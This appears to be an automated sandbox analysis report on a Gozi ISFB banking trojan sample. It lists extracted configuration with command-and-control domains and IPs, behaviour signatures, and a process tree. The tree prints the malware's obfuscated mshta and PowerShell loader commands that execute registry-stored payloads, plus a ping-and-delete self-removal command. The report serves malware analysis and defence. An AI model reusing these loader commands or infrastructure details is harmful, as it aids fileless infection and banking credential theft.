Analysis
- max time kernel
150s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
13/10/2022, 07:27
General
- Target bf.exe
- Size 37KB
- Sample221013-h95jgabbbj
- SHA256 bf5845a6b0df356338cc4ae53dd2cdefcb114bd95f351e55fd430cee5408ffeb
Malware Config
Extracted
-
gozi_ifsb
-
10103
-
trackingg-protectioon.cdn1.mozilla.net
-
45.8.158.104
-
188.127.224.114
-
weiqeqwns.com
-
wdeiqeqwns.com
-
weiqeqwens.com
-
weiqewqwns.com
-
iujdhsndjfks.com
-
base_path
/uploaded/
-
build
250246
-
exe_type
loader
-
extension
.pct
-
server_id
50
Extracted
-
gozi_ifsb
-
10103
-
trackingg-protectioon.cdn1.mozilla.net
-
45.8.158.104
-
188.127.224.114
-
weiqeqwns.com
-
wdeiqeqwns.com
-
weiqeqwens.com
-
weiqewqwns.com
-
iujdhsndjfks.com
-
base_path
/uploaded/
-
build
250246
-
exe_type
worker
-
extension
.pct
-
server_id
50
Signatures
- Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 6 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 38 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bf.exe"C:\Users\Admin\AppData\Local\Temp\bf.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ofc0='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ofc0).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\16F27831-7D02-B8E1-B7AA-016CDB7EC560\\\ReturnStop'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ynaqfl -value gp; new-alias -name aknfnn -value iex; aknfnn ([System.Text.Encoding]::ASCII.GetString((ynaqfl "HKCU:Software\AppDataLow\Software\Microsoft\16F27831-7D02-B8E1-B7AA-016CDB7EC560").FileDesktop))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bzwkoh55\bzwkoh55.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES26AD.tmp" "c:\Users\Admin\AppData\Local\Temp\bzwkoh55\CSCBBEBC7C341F04E09BB873B31DDE11D75.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3jjziu2s\3jjziu2s.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27F5.tmp" "c:\Users\Admin\AppData\Local\Temp\3jjziu2s\CSCD2C4612C2DEA490780DDEC4426141044.TMP"5⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\bf.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
3jjziu2s.dll
RES26AD.tmp
RES27F5.tmp
bzwkoh55.dll
3jjziu2s.0.cs
3jjziu2s.cmdline
CSCD2C4612C2DEA490780DDEC4426141044.TMP
CSCBBEBC7C341F04E09BB873B31DDE11D75.TMP
bzwkoh55.0.cs
bzwkoh55.cmdline
memory/1856-165-0x0000025C14C00000-0x0000025C14CA3000-memory.dmp
memory/1856-158-0x0000025C14C00000-0x0000025C14CA3000-memory.dmp
memory/2692-161-0x00000000008F6B20-0x00000000008F6B24-memory.dmp
memory/2692-162-0x0000000000700000-0x0000000000796000-memory.dmp
memory/3008-166-0x00000000079C0000-0x0000000007A63000-memory.dmp
memory/3008-159-0x00000000079C0000-0x0000000007A63000-memory.dmp
memory/3392-156-0x0000019522100000-0x00000195221A3000-memory.dmp
memory/3644-163-0x0000013FEE930000-0x0000013FEE9D3000-memory.dmp
memory/3760-155-0x00000189E9950000-0x00000189E998D000-memory.dmp
memory/3760-138-0x00007FFC60780000-0x00007FFC61241000-memory.dmp
memory/3760-154-0x00007FFC60780000-0x00007FFC61241000-memory.dmp
memory/3760-137-0x00000189E9350000-0x00000189E9372000-memory.dmp
memory/4348-164-0x0000014745FF0000-0x0000014746093000-memory.dmp
memory/4560-132-0x0000000000520000-0x000000000052D000-memory.dmp